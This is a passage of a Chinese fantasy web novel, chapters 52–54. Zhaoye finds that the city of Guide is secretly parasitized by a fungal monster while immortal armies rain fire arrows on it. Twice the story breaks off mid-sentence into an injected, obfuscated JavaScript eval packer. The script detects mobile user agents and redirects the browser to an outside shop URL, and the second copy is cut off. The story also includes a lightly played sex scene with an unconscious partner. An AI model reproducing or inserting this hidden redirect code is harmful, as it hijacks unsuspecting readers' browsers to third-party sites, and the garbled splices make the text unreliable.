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舒岸摇了摇头,眼底是化不开的疲惫与无奈,“棠梨想家,有了身孕后更是思乡情切,终日茶饭不思,后来……身子也垮了,整个人浮肿得厉害,脾气也变得焦躁易怒。没有哪个女子能坦然接受自己面目全非的模样,不是吗?” 我下意识低头看了看自己微凸的小腹,有些尴尬地附和,“……是啊,女子总是爱美的。” “哈哈哈,照夜倒是例外。”舒岸被我逗笑了,拍拍我的肩,与我一同朝灯火零落的街尾走去,“无妨,即便丰腴了些,你也一样好看。” 等待备战的日子格外漫长。 我整日里最主要的“任务”,竟是应付执着认我为棠梨的羽婆。她听说我将参与讨伐无相孽,二话不说便要传信天翮城,要求调运火油前来支援。 我有些困惑于羽婆的影响力——她身为天翮族的“守月卿”,职责本是教导、保护并侍奉月翮圣女。 如今圣女之位空悬,守月卿岂非形同虚设? 这几日寸步不离跟着我的阿米,人小鬼大地替我解了惑。 原来天翮城的城主,正是天翮一族的“聆月使”宏音。 整座城在得到人君许可后,仍沿袭着天翮族的旧制,设有多重司职。 原本的城主应是圣女棠梨,她远嫁后,便由负责聆听圣女箴言的“聆月使”宏音接任城主。 而德高望重的“守月卿”羽婆,在族内依然享有极高的话语权。 我总算明白了眼下这微妙局势。 羽婆固执地认定我就是棠梨,因此毫不犹豫地决定助归德城对抗无相孽。 也正因她在族中的威望,化西城主才不得不摆出积极助战的姿态——归根结底,三城子民血脉同源,皆出自天翮一族,理应听从圣女的号令。 虽然我只是照夜。 连尾巴都忍不住感慨,我这“躺赢”来得实在有些莫名其妙——仅因与棠梨有八分相似,便凭空多出一群坚定的拥护者。他戏谑道,若我真有感应月华的的本事,恐怕就真要坐实这“圣女”之名了。 我没心思理会尾巴的调侃,只催促他尽快做好战斗准备。他便乖乖窝回青莲瓶里,自顾自忙活去了。 经过几天的观察,我算是看明白了——阿糯对舒岸旧情复燃,言语间总是不自觉地重提当年婚约,显然存了再续前缘的心思。 然而舒岸却始终明确回绝,只说时隔多年,早已不复当初心境,不愿耽误了她。 这话惹得阿糯整日没个好脸色,两人见面总是不欢而散,着实令人头疼。 舒岸见状索性整日与主将绫洪凑在一处商讨对策,再不理会这些儿女情长。 52. 第 52 章那个从未快乐的男人 这日依旧细雨绵绵。连日的阴雨让空气又沉又湿,黏在身上很不舒服。 我向阿米打听哪里能有清凉的泉水沐浴,她歪着头想了想,便要带我去城郊的一处瀑布玩水。 “不行!”羽婆身边的侍从柠栌立刻出声阻拦。 这姑娘长得娇俏可爱,却总板着一张脸,似乎对羽婆派她来照顾我很是不满。 “守月卿大人吩咐过,您不能离开火凤楼附近,太危险了。” “照夜姐姐又不是圣女,为什么不能出门?”阿米可不管这些,拉着我就要往外走。 “那也不行!”柠栌张开双臂挡在门前,脸颊涨得通红,“羽婆说了,她是不是圣女得经过考验才能确定。在那之前,就算是待选者也要谨慎!”她顿了顿,声音低了下去,“除非……除非你们带我一起去。” 我忍不住笑了——想去就直说嘛。 于是我们三人结伴前往瀑布。 没想到归德民风如此开放,男男女女竟在银练般的瀑布下混浴,虽都穿着衣衫,却也足够让我这个外来人面红耳赤。 反倒是柠栌和阿米对此习以为常,招呼着我赶紧下水凉快凉快。 我羞得如同误入蒸笼的螃蟹,整个人都红透了。 柠栌苦恼地打量着我,叹了口气,“唉,若圣女真是这般丰腴,我们也只能认了。” “照夜姐姐这叫珠圆玉润!看看你自己,瘦得像根排骨。”阿米倒是很维护我,真是个贴心的姑娘。 “咱们三个啊,是真没人会多看一眼,穿不穿都没差别。”柠栌唉声叹气。 我被柠栌逗得大笑,“早就听说玉山以南民风豪放,没想到竟到了这个地步。” “再豪放也比不过魔族。”柠栌轻哼一声,压低声音道,“他们可是开放得不像话,听说还会与妖兽那个……真不明白他们是怎么想的。” 我正想跳过这个少儿不宜的话题,没想到阿米懂得比我还多。 阿米掩嘴笑着附和道,“就是嘛,那些鹿妖蛇妖再好看,也不至于动真情嘛,真是难以理解。” “……他们自有他们的生活方式,又没碍着咱们。”我心里莫名有些不舒服,潜意识里不愿听到有人说魔皇钩星的坏话。 糟了,我怎么连他的短都护起来了。 “唉,实在不行,只能冒险越过死人沟,偷偷跑去魔界生活了。”柠栌苦恼地趴在池边,单薄的衣衫下肋骨清晰可见,还真是可以用“瘦骨嶙峋”来形容。“听说魔皇有一半凡人血统,不太在意人魔杂居。” “不可以!”阿米撅起嘴,语气突然变得伤感,“我们天翮族,世世代代都要生活在圣司大人守护的土地上,不能背叛她。圣女大人会如明月般永远照耀、庇佑我们,我们绝不能背叛她。” “……都这个时候了,指望人君可能更实际些。”我小声嘀咕。 没想到柠栌闻言竟红了眼眶,吓得我立刻噤声。 “可圣女大人在哪里呢?”柠栌哽咽着说,“她不要我们了。” 话音未落,两个少女竟抱在一起痛哭起来。 我手忙脚乱地安慰这个,哄劝那个,头都大了一圈。 无相孽就扎根在家门口,他们却还在期盼那位早已不存在的月翮圣女来拯救他们。 原以为今天就要在压抑的气氛中结束。 没想到洗完澡后,柠栌随口问起阿米她哥哥阿粽的病情,我们三人便决定顺路去探望这位卧病在床的少主。 路上,阿米提起了哥哥的“病”——他随父亲阿迪纳讨伐无相孽时受了伤,归来后便一病不起。 听到这里,我的心猛地提到了嗓子眼,一股不祥的预感油然而生,满腹疑虑地跟着阿米走向火凤楼深处的地下室。 沿着盘旋的石阶一层层向下,空气变得湿热黏重,隐隐混杂着草药与霉土的气息。 昏黄的灯火在狭窄的甬道里摇曳,将影子拉得忽长忽短,让这段路显得格外漫长而诡异。 就在阿米和柠栌低声交谈的间隙,我的目光无意间扫过一道铁栏围成的牢门,瞬间僵在了原地—— 我看到了那个“生病”的阿粽。 一个瘦得只剩骨架的男人平躺在石床上,皮肤薄得近乎透明,在昏暗光线下泛着一种不自然的亮泽。 那副模样诡异得让人窒息,恍惚间甚至觉得能透过他单薄的胸膛,看见其中仍在微弱跳动的心脏。 我死死贴着身后湿冷的墙壁,一动不敢动,眼睛却无法从那个诡异的身影上移开。 阿米从一旁目光呆滞的侍从手中接过粥碗,钻进铁门,示意柠栌扶起阿粽,自己则小心地将米粥一勺勺喂进那毫无知觉的男人嘴里。 紧接着,我看到了令人毛骨悚然的一幕—— 阿粽的后背上,赫然有一大片猩红的创口!无数细密如血管的红色菌丝正附着在伤口表面,随着他的呼吸微微蠕动。 刹那间,我头皮发麻,几乎是本能地死死捂住嘴,才没有惊叫出声。 我猛拍两下藏在怀里的青莲瓶,叫醒尾巴。 尾巴迷迷糊糊地爬到我头顶,顺着我的视线望去,也瞬间僵住了。 “老天……”尾巴的声音前所未有的凝重,即刻将光团瞬间幻化成锋利的刃尖,“他被寄生了。这怪物……竟如此狡猾,一直忍耐着没有捕食。” “怎么办…要、要杀了他吗?”我声音发颤,几乎说不出完整的句子。 尾巴在我耳边咂了下舌,厉声警告,“现在动手只会打草惊蛇!那菌丝会传染,快叫那两个丫头离开这里!” 我强压下翻涌的恐惧,捂着肚子装出痛苦的模样。阿米和柠栌见状,只得将喂食的工作交给一旁的婢女,赶忙扶我离开。 临走前我下意识回头一瞥——只见那婢女张合的嘴里,竟已布满了细密的红色菌丝! 她早就被寄生了! 我顾不上解释,甩开阿米和柠栌,发疯似的冲向城楼寻找舒岸。此时,舒岸正与绫洪并肩而立,远眺着城外蛰伏的无相孽。 见我面无血色的模样,舒岸眼神一凛,立即借故将我带到角落。 “……你察觉到了,照夜。” 听完我语无伦次的描述,眼前这个男人竟没有半分意外。他凝视着我,嘴角浮起一丝若有若无的苦笑。 尾巴猛地捏紧我的耳垂,厉声喝道,“糟了!他早就被无相孽控制了!这是个陷阱——整座城的人恐怕都已经被寄生了!” 排山倒海的恐惧瞬间将我淹没。我踉跄后退,体内仙力失控般翻涌,几乎要破体而出。 望着步步逼近的舒岸,我的呼吸骤停。就在他的指尖即将触到我耳际的刹那,积蓄的仙力轰然爆发——尾巴自我尾椎处延展而出,化作凛冽的寒芒! 电光火石间,舒岸竟一把攥住我的尾巴尖,将我牢牢困在他的身影之下。 他温热的掌心随即覆上我的唇,低沉的声音贴着耳廓响起,“照夜,别动。绫洪体内的无相孽会察觉到异常。放缓呼吸,镇定下来……我绝不会伤害你。相信我。” 我拼命压抑着狂跳的心脏,将几近暴走的仙力强行压回体内。 尾巴从舒岸掌中挣脱,盘回我肩头,与我一同死死盯住这个令人捉摸不透的男人。 “喂,出什么事了?”绫洪疑惑的目光扫了过来。 舒岸摸摸我的发顶,转身从容应道,“无事。照夜路上遇着了蛇,她胆子小,受了点惊吓。” 绫洪不满地打量着我们,“舒岸,你和她该不会……我记得你向来偏爱窈窕女子。就算与阿糯缘分已尽,也不至于——”他顿了顿,似是觉得失言,干笑一声,“倒不是说这姑娘不好。只是眼下这节骨眼,别惹阿糯吃醋为好,免得误了战事。” 舒岸淡然一笑,“你多虑了。我与照夜仅是挚友,何况……”他目光微沉,“她早已有了夫君。” 随即舒岸紧紧握住我的手离开城楼,在萧索的街巷中寻了间废弃的屋舍。 门窗合拢,灯火摇曳,舒岸才转身直视着我,深邃的眸光在昏暗中明灭不定。 “你一早就察觉了?” “入城时便感应到了。”舒岸抬手按在胸口,唇边泛起苦涩的弧度,“像是……嗅到了同类的气息。很讽刺吧。” 我浑身发冷,冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549518|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗早已浸透衣衫。 一想到所见到的每一个人——阿米、柠栌、绫洪,甚至那些沉默的守军——都已被无相孽寄生,难以言喻的恐惧便如蚁群爬满全身。 尾巴感受到我的战栗,轻轻环住我的脖颈,仿佛这样就能驱散我骨髓里的寒意。 “它们都在蛰伏,像是在等待某个指令。”舒岸坐在破旧的木凳上,声音低沉,“我不知道该如何解释,照夜,但我能感觉到它们的存在……如同听到远方的号角。” “你……你到底还是舒岸将军吗?”我死死攥住尾巴,他受到了感召,在我掌心微微颤动,随即化作一柄寒光凛冽的刃。 我紧盯着舒岸,嘴唇不受控制地颤抖,泪水在眼眶中打转,“现在的你,究竟是谁?” 舒岸竟微笑着走近,温热的手掌轻轻握住锋利的光刃,将刀尖引向自己的心口。 只要我稍一用力,就能终结他充满悲伤、愤怒、遗憾以及痛苦的一生—— 悲伤于棠梨之死,愤怒于同室操戈,遗憾于自身弱小,痛苦于从未真正拯救过任何人! 垂眸凝视着我,神情却异样地轻松,甚至带着几分释然,舒岸虚握着我的手腕,嗓音沙哑而清晰,“是那个对你怀揣龌龊念头,藏着扭曲情感的……卑鄙无耻的男人。” “你不是无相孽。”我哽咽着说,“怪物说不出这样的话。” 抬手拭去我汹涌而出的泪水,舒岸歪着头的样子退却了沧桑,竟有了几分少年气,“是啊,我甚至不如无相孽。照夜,我大概是这世上……最可悲无用之人了。” 手中的利刃重新变回尾巴。他安静地贴在我耳边,没有说话,只是默默承接着我不断滚落的泪珠,像是在替我悲伤,又像是在为面前的男人叹息。 “原谅我,照夜。如今我唯一能做的,就是消灭那怪物,然后……”舒岸顿了顿,声音轻得像羽毛,“便请你履行约定,终结我的生命。” 我几乎将下唇咬出血来,声音支离破碎,“那这些百姓呢?他们该怎么办?” 无尽的疲惫从舒岸眼底漫出。他沉默良久,才用轻得快要消失的声音回答,“我不知道,照夜……我仍然不知道。” 玉山的雨仿佛永无休止。 我独自立在城墙上,望着不远处那棵在血色雾气中蠕动的肉树。 猩红的菌丝再次凝聚成雾,随着细雨飘散在风中,仿佛正在承受天地间仙力的无情鞭笞。 真是讽刺——无论它们被称为无相孽、瘴母神,还是最原始的膣藟,都离不开仙力的滋养。 可最纯粹的仙力,却对它们进行着最残忍的折磨。 但有什么办法呢?活着就要进食,哪怕吞下的是长满倒刺的果实。 我小心避开巡逻的守军。他们脸上写着麻木与愤怒,长期的围城、不断的牺牲和日益短缺的粮草,早已将每个人逼到绝境。 就连寄生在他们体内的无相孽,也都选择了蛰伏,忍耐着这饥寒交迫的时刻,静待将整座城池一口吞没的时机。 或许,无论是城外那由残肢堆砌的巨树,还是城中这些被寄生的人们,都不过是诱饵—— 为了饱餐一顿,它们愿意耐心等待。 我瑟缩在墙角,湿发黏在脸颊和颈侧。将自己蜷成一团,任由尾巴蔓延舒展,最终形成一个温暖的金色光茧,便我完全包裹其中。 缓缓流动的绚烂仙力隔绝了冰凉的雨丝,也隔绝了外界一切声响。 这里是独属于我的世界,温暖、安宁。 “睡吧,”尾巴的声音很轻,“你看起来哭累了。” “尾巴,你害怕吗?我们就在无相孽巢穴的中心。” “……唉。”尾巴长叹一声,柔软的光晕如流水般贴近,轻轻拂过我的唇瓣,带着熟悉的暖意与滑腻,“照夜,你的仙力太过纯粹,比青莲的还要纯净百倍。对这些怪物而言,你是致命的毒药。趋利避害是生物的本能……所以别怕,有我在。” “你好坚强,尾巴。” 噗嗤笑了,这团光温柔地捧住我的脸,贴在我耳边低语,“睡吧,照夜。好好睡一觉。我会永远——等你醒来。” 53. 第 53 章月羽木 传说人界有一种名为月羽木的树,据说它接连天地,是通往月宫的桥梁,更是天翮族世代供奉的圣树。 曾在古籍中读到这段记载时,我无数次想象过那该是何等壮观的景象。 直到它真正出现在眼前,我才明白——人类的想象力,终究是有边界的。 矗立在我面前的,是一棵足以令万物失语的巨树。 它宛如天地间一座沉默的丰碑,树皮并非寻常的粗砺褐色,而是泛着温润的银白色光泽,仿佛月光凝结成了玉质的骨骼。 庞大的树冠由无数凰羽状的叶片交织而成,如同一幅流动的、遮天蔽日的云盖。 每当暮色四合,玉珀悬空,整棵月羽木便由内而外渐渐苏醒,焕发出磅礴而柔和的清辉。 那不是火焰的炽热,而是月华的冷凝,将周遭天地映照得恍如明澈的白昼。 我被眼前这超越想象的奇景震慑,久久无法回神,直到有人轻轻拍了拍我的肩膀。 “很美,对吧?” 不知何时,青衣少年已站在身侧,同我一样静静凝望着那棵在尘世中熠熠生辉的月羽木。 “嗯……无比震撼,比澜歌树更美。” “是啊,”少年微微一笑,眼中仿佛有万千月辉流转,“这片大地上的壮丽景致数不胜数,而这仅是其中之一。可人们总向往黑海彼岸的世界,渴望去月宫一探究竟……就像池中的鱼儿,总梦想游向无尽的大海。” 不知不觉,我又坠入极其深的梦,于这梦中,看到了我不曾见过的景致。 我坐在悬崖边,迎着夜风,仰望与明月同辉的巨树,“抱歉,你想见的是小青,来的却是我。他告诉我……你的名字是‘煌木’。” “名字并不重要,”少年在我身旁坐下,声音平静柔和得不似凡人,“不过是个随口一提的称呼。长路漫漫,名字于我早已失去意义。况且,来的是你还是青莲,于我并无分别。有人相伴说说话,总好过独自对月。” “那便……一起赏月吧。” 为何不呢,我长这么大,第一次见到如此巨大的月亮,仿佛就悬于树顶,触手可及一般。 “你们又吵架了么?眼睛红得这样厉害。” 我索性在柔软的草地上躺下。四周万籁俱寂,有种说不出的安宁。 “我们和好了,只是暂时分开一会儿。他办完事就会来找我。” “哦?是因为想念他,才哭鼻子的。”自称煌木的少年枕着手臂,翘着腿望向天际,“你失去音讯的那五年,他也会偷偷落泪。思念之味苦犹胜眼泪,实在教人不敢下咽。“ “……真的吗?他是嚎啕大哭,还是嘤嘤啜泣?”我侧过身,轻轻拉住少年青色的衣角,“当着你的面哭,还是躲起来?你会笑话他么?” 少年转向我,眼中含着浅淡的笑意,“人之常情,我羡慕还来不及,怎会嘲笑。我只能告诉他,你还活着,终会回到他身边。” “……你究竟是谁?”我心头蓦地一紧,蹙眉追问,“你根本不是煌木,对不对?世人都说煌木冷心冷面,没有感情。绝不会说出这样温柔的话来安慰小青。你……其实是太初——” “嘘——”少年纤长的手指轻轻按住我的唇,笑意在眼底流转,“照夜,用你的眼睛去看,用耳朵去听,用手去触摸,用心去感受。书中纵有三千世界,都不及你亲身经历的这——独一无二的人间。” 远方的月羽木开始崩塌,无数银色的碎片凝固在这片狭小的天地间。 少年支着下颌凝望我,微笑在这一刻定格。 “等等!我还有事要问你——”我急切地伸手,却感觉一股强大的力量正将我从光茧中抽离,“归德城那些被寄生的人……该怎么办?告诉我——” 在彻底脱离梦境的瞬间,我从少年破碎的声音中,努力拼凑出一句比月辉更冰冷的话语。 请以烈火——送其往生。 我被一片混乱的声响惊醒,包裹周身的金色光茧外,无数人影正仓惶奔逃。 我急忙拨开仙力凝成的屏障,只见夜雨之中,不远处的天空竟被万千火红的箭矢映亮——它们正铺天盖地而来! “照夜!”舒岸拨开奔逃的士兵冲到我身边,一把将我拽起,脸色是从未有过的凝重,“禁仙锥……失效了!” 话音未落,漫天箭雨已如流星般倾泻而下,几乎将整片天空点燃。 我紧跟舒岸,惊恐地望着那些坠落的火光。 远处,无相孽凝聚而成的肉树猛地探出无数猩红菌丝,它们迅速拧成粗壮的巨臂,以惊人的力量挥向空中—— 轰隆! 伴随着震耳欲聋的巨响,大部分箭雨被凌空扫开。 站在指挥台上的绫洪嘶声大吼,“掩蔽!全体掩蔽!” 然而仍有无数偏离方向的箭矢,裹挟着不祥的红色仙力,如陨石般砸向城墙上的守军。 哀嚎声瞬间撕裂夜空。 温热的鲜血飞溅到我眼前,将视线染成一片猩红。 千钧一发之时,有什么近距离挡在了我的身前。 那是一面盾,由沉重坚硬的躯体铸成的,世上最坚硬的盾。 尾巴收起了屏障,有些诧异地看着将我护在身下的这个男人。他和我都没有想到,舒岸竟在此时此刻经历了修仙“开悟”的一瞬。 一面深红如凝血铸成的盾牌,借由无数蠕动的菌丝紧紧缠绕在舒岸的小臂上。 它不仅挡下了致命的箭矢,更在接触的瞬间贪婪地吞噬着箭上的仙力——一边膨胀壮大,一边化作坚不可摧的屏障。 “我承诺过……”怒吼从舒岸胸腔深处迸发,“至少要保护好你——” 舒岸竭力站稳,那面由仙力与菌丝交融而成的盾牌不断延伸,在夜空中撑开一片相对安全的领域。 “难以置信……”尾巴在泛滥的红光中低语,“舒岸的自我意识竟然压过了无相孽的本能。”漫天血光如瀑,仿佛要将雨中大地彻底吞噬,“因未能保护棠梨的愧疚,竟催生出这样的力量。照夜,这位在沙场征战的大将军,内心深处最强大的执念……原来是守护。” 我强迫自己站起身,紧紧握住尾巴。 四周的哭喊、哀嚎与咒骂几乎将我淹没,但我依然清晰地听见了自己的声音破开这片混乱。 “焉耆——听我号令!” 一声仿佛来自远古的咆哮撕裂长空。 如炮弹般,一道漆黑如永夜的身影从天而降,重重砸在城墙之上—— 整座城池为之震颤。 焉耆猛地将我卷上头顶,喉咙深处发出威胁的低吼,死死盯住远方那棵正在疯狂绽放的肉树。它周身剧烈起伏,仿佛每一寸肌肉都蓄势待发。 地面在震动。 无数猩红菌丝如决堤的血潮,沿着地表向四周急速蔓延,眨眼间便将整片大地浸染成一片令人心悸的深红。 “照夜!”舒岸强撑着攀上焉耆的背脊,死死盯着远方那片不祥的红光,巨大的消耗让他气息紊乱,几乎无法站稳。 “整队!立刻整队!”头破血流的绫洪捂着空荡的左肩断口,声嘶力竭地呼喊,“准备迎敌!迎敌——!” 阿糯和羽婆此时也踉跄着赶到,她们望着远方黑暗中如繁星般亮起的无数红点,惊恐得说不出一个字。 “那是仙军。和卫戍司的军士衣着一样。”我惊惧地望着那密密麻麻的银甲军队。 “自是仙军。帝君怜人界劫难,特遣仙军驰援。” 冰冷滑腻的声音几乎是凭空响起,那个褐色竖瞳的男人竟然骑着一条飞蛇而来,就这么悬停在焉耆眼前。 我和舒岸几乎同时叫出了他的名字—— “溟牙?” “啧啧,我看川晋这手火箭,威力可不比赤浪仙人差多少。”溟牙撇撇嘴,好整以暇地望向我们身后已成一片火海的城池,轻笑道,“火凤楼……倒是名副其实了。” 城中因方才的箭雨已陷入一片火海,那栋曾经高耸的木楼此刻正被烈焰彻底吞噬,熊熊火光映红了半片天空。 “溟牙!你明知仙力对那怪物无效,为何还要强攻?!”愤怒几乎从眼中喷薄而出,舒岸捂着剧烈起伏的胸口,若非我搀扶几乎要倒下。 “哼,等尔等慢攻,剿灭怪物要等到何年何月?”溟牙嗤笑一声,语气倨傲,“仙军行事,自有道理。你一个凡将,也配质疑仙帝旨意?!” 仿佛是久旱逢甘霖,远处那株巨树在仙力的滋养下以肉眼可见的速度疯狂生长。无数菌丝如活物般沿着高耸的城墙向上攀爬,猩红触须蠕动着,逼近墙头。 溟牙的视线轻蔑地扫过我,低声冷笑,“你怎么还在这里?真是阴魂不散。” “你!小青在哪里?!” “自然是收押了。违抗仙帝谕令,其罪当诛。帝君仁慈,念你们年幼已姑息一回,此次……容不得你们再胡作非为!” 溟牙话音未落,第二波红色的箭雨已撕裂夜空,再次倾泻而下。 阿糯发出绝望的嘶吼,泪水混着血水滑落,可漫天的红光如同无法挣脱的囚笼,笼罩着一切。 舒岸猛地咳出两口鲜血,踉跄跪倒。他望着远方,又看向脚下不断逼近的猩红菌丝,用尽最后力气,再次展开了一层稀薄而颤抖的血色护盾。 “照夜……”舒岸声音微弱得几乎听不见,却清晰地撞入我耳中,“代我向……青莲……道歉……” 我死死攥住尾巴,泪水模糊了视线,浑身僵硬无法动弹。脑海中,只剩下梦中青衣少年那冰冷彻骨的话语在疯狂回响—— 请以烈火——送其往生。 请以烈火,送其往生吧!!! “照夜!快看!”尾巴从我掌心挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穆青瞬间从我身边消失。下一刻,他已屹立在数以万计的火箭之前。 尾巴自我体内轰然爆发,磅礴的金色仙力如一朵盛放的芙蕖摇曳升腾,将青莲法器完全包裹,令每一片花瓣都镀上了璀璨的金边,彻底照亮了昏暗的天际。 穆青双手合十,在箭雨即将降临的刹那,熔炼了青莲法器。以那浩瀚仙力为基,铸起了一道直入云霄的巍峨屏障! “小青!”我奋力接住从半空坠落的穆青。 在无相孽的触须即将捕获我们的瞬间,焉耆载着我们挣脱袭击,落回已被菌丝覆盖的城墙。 无数火箭击中青莲结界,金色,青色,红色的光扭曲着,交融着,好似暴雨砸入池塘激荡而起的雨涡。 “我没事……只是仙力消耗过度。”穆青脸色苍白,冷汗浸湿了额发,他紧盯着结界外那株疯狂舞动的无相孽母株,声音因虚弱而低沉,“怪物离结界太近了……这样下去,结界迟早会被它蚕食殆尽。必须在那一刻到来前……摧毁它的核心。” “圣女大人!圣女大人!” 身后传来声嘶力竭的呼喊。 城墙上一片混乱,幸存的将士们正在溃散,无数尸体凝固着惊恐与怨恨的神情。 整座归德城在烈焰中燃烧,天色却依旧漆黑如墨,冰凉的雨丝无声落下。 羽婆踉跄着抓住我的手臂,额角的鲜血流进眼眶。她焦急地上下检查我是否受伤,而我浑身颤抖,僵硬得如同木偶。 我清楚地看见——她伤口深处,细密的红色菌丝正缓缓蠕动,仿佛在修补创伤,维持着宿主短暂的生命。 “去……去帮阿糯,我没事。”我努力挤出这句话。 羽婆抹去混着血水的眼泪,眼中一片死寂。 她颤巍巍地跪在我面前,望向那遮天蔽日的肉树,声音破碎,“我们被抛弃了……圣女大人。若我死了,求您一定带着它……回到我们的圣地。” 羽婆从颈间解下一枚灰暗的石雕新月挂坠,颤抖着为我戴上。 就在坠触碰到我皮肤的瞬间,仿佛被注入了生命——我体内的仙力奔涌而入,使它焕发出柔和而纯净的清辉。 羽婆露出了欣慰的笑容,向我深深叩拜,“天意啊……时隔多年,天翮族终于迎来了月翮圣女。愿月辉与您同在……” “我,我不是——” 羽婆挣扎着站起身,向我郑重颔首,随即一瘸一拐地消失在慌乱的人潮中。 “啧,必须撤退了!这段城墙守不住了!”尾巴焦躁地趴在我头顶,望着上方不断蠕动的菌团,声音前所未有地低沉,“难道真的……无法打破这样的命运吗?” 54. 第 54 章你也不要变心 我从未觉得夜如此漫长。 天蒙蒙亮时,仙军的进攻终于停下来了,而城里的大火也逐渐熄灭。阿糯麻木地指挥着残存的将士和百姓自救。血污在她脸上干涸,如同数道深刻的伤疤,刻在那张曾经明艳的脸上。 穆青因消耗了太多仙力晕了过去,我只能寸步不离守在他身边。 “还好吗,照夜?振作点!”见我神情恍惚,尾巴用力抱住我的脑袋晃了晃,“你绝对不能倒下,听到了吗?给我打起精神来!” “我好害怕,尾巴……我是不是很没用?”我蜷缩在穆青身边,紧紧抱住膝盖,看着眼前来往的人群——细微的红色菌丝从伤口处渗出,可他们却以为那只是血罢了。 “乖,别怕,有我在。”尾巴贴着我眼角未干的泪痕,放缓了语调,“青莲还不能很好支起结界,浪费了巨量的仙力,甚至损失了自己的青莲法器,是一步极其糟糕的棋,得尽快为他补充仙力。” 我抽噎着,问道,“要怎么补充?” 尾巴滑到我领口,幻化出灵活的手指解开我的扣子,啧了一声,“真是个小孩儿,又笨又单纯!赶紧与他狠狠亲热一番,越投入越好,快,拿出你的看家本领来!” 我闻言涨红了脸,看了一眼还在昏睡的穆青,支支吾吾道,“啊?起码要等他醒来——而且现在哪儿有这个心思!” “哈哈,你管他呢,有反应即可,醒不醒的不重要!抓紧,结界撑不了多久,看样子人君彻底妥协了,得赶紧商量对策!” 说着尾巴立刻去关这间破屋的窗户。我犹豫着,摸向穆青的胸膛。 于是,在这无相孽的母巢中,在穆青昏迷的状态下,我做了一回趁人之危的“小人。” 随着仙力源源不断地流淌,他的身体逐渐有了反应。我小心翼翼地贴近穆青怀中,与这具仅凭本能回应的身躯开始了漫长的交融。 就在仙力如火焰般在体内沸腾时,尾巴突然裹住穆青,操纵着他紧紧抱住我,一个翻身将我压在身下。温热的唇瓣封住了我的惊呼,带着令人晕眩的迫切。 “你在干什么尾巴!” “看得我着急,祝你们一臂之力,快,加油!” 我此刻羞得快要窒息,只能无助地吼道,“讨厌,这么一来,究竟是谁在和我——啊——亲热!” “别这么见外嘛,我又不介意。” 没顶的快乐几乎将我溺毙在大海深处,身体的每一个角落都在为之狂欢、喘息,享受着这可以慰藉人心的拥抱、亲吻以及共生共灭。 身体在欢愉中沉浮,记忆却坠入了时光的漩涡深处。 那是阿爹将八岁的穆青带回家的傍晚。 很难解释一只灵鹿为何会养育一个人类孩童。阿爹说,发现穆青时,他独自藏在丛林深处,不会说话,对一切毫无反应,仿佛一具空有躯壳的木偶。 那时我才三岁,只记得从此多了个总爱守在我身边的哥哥。他会带我漫山遍野地跑,会用简单的词语和我咿呀对话,会学着阿爹的样子生火做饭,会陪我坐在门槛上,等阿爹从田间归来。 八岁的穆青,从回到我身边的那天起,仿佛才真正拥有了魂魄。他的人生,从那时启航。 长大后我曾问阿爹,人真的都有魂魄吗?如果有,会是什么样子? 阿爹轻抚我的头发,望着正在劈柴的穆青。少年额角沁出晶莹的汗珠,在夕阳下闪闪发亮。 阿爹说,照夜你看,身体因劳作而流下的汗水,就是魂魄的一部分。魂魄记录着人之所以为人的全部感知,是此生所有的欢喜与悲伤,是怯懦与强大最终走向自洽的挣扎。 哇,还有呢阿爹? 将穆青招到身边,阿爹给他擦去额头的汗,将放凉的绿豆汤递给他,怜爱地抚摸着他汗湿的耳廓。 还有呀,是将过去沉淀敛纳的——万千记忆。 我至今不懂阿爹话中的深意,我只觉得他虽然是一个穷得叮当响的樵夫,却懂得许多大道理。 可惜呀,他已不在,不然我多想问问他,无救之人当如何救。 是倾尽全力走入无解的死胡同。 还是仅以烈火,燃尽绝望。 低沉的交谈声逐渐在我耳畔清晰,我转个身,下意识拉住了那有着漂亮指骨的手掌。 “醒了么,照夜。”男人俯身摸摸我的额头,又转向坐在昏暗灯下的另外一个男人,“舒岸,人君的转变太过突然,你对此有何想法。” 我迷迷糊糊地睁开眼,只见昔日在战场上叱咤风云的灭妖大将军,此刻眼窝深陷,仿佛全身的力气都被抽空了。 “具体情况我不清楚,朝中施压的人太多……又或许仙界已经等不及要拿下这三城。” “先解决眼前吧。”穆青轻叹一声,“归德早已沦陷,必须尽快封锁化西和天翮,否则它们的陷落也只是时间问题。” “……真的,没救了吗?” “跟我来舒岸,照夜也一起。” 我仍有些晕眩,发现自己几乎赤裸地裹在穆青的外衫下,慌忙往他身后缩了缩。舒岸率先推门而出时,我透过门缝看见天色已完全暗下。冷风卷着细雨飘进来,让我不禁打了个寒颤。 “睡得这么沉,一定是吓坏了。”穆青仔细为我系好衣扣,将我的长发轻轻拨到肩后,“别怕,有我在。” “我梦到阿爹了……还有八岁的你。” 穆青轻笑一声,在我额间落下一个温柔的吻,“我也常梦见从前。不过昨夜,我梦见你光着身子向我撒娇要抱抱。” “……那个……其实……可能不是梦。” “我当然知道不是。”穆青将我的手按在他心口,声音轻柔,“我身体里流淌着你的仙力,照夜,温暖如初。而且——” “而且什么?” 穆青蹲下身为我穿好鞋,眉眼间仍带着浅浅笑意,“当时我正在与煌木交谈,身体却突然有了反应……我就知道,我们在亲热。” 我此刻羞得无地自容,恨不得立刻马上找个洞藏起来。可一看到穆青恢复了精神,我心里那点羞耻也随之烟消云散。 原本就已经杳无生机的归德城里处处透着一股死寂,唯有昏黄的灯在雨中摇曳。火凤楼已化为灰烬,巨大的黑色废墟由残木堆砌而起,遥遥望去竟如同一座坟茔。 可唯有这里,还残留一丝生命存活的迹象。 简陋的草棚下,阿糯正组织人手施粥。她脸上麻木的神情,只在看到舒岸走近时才微微一动。 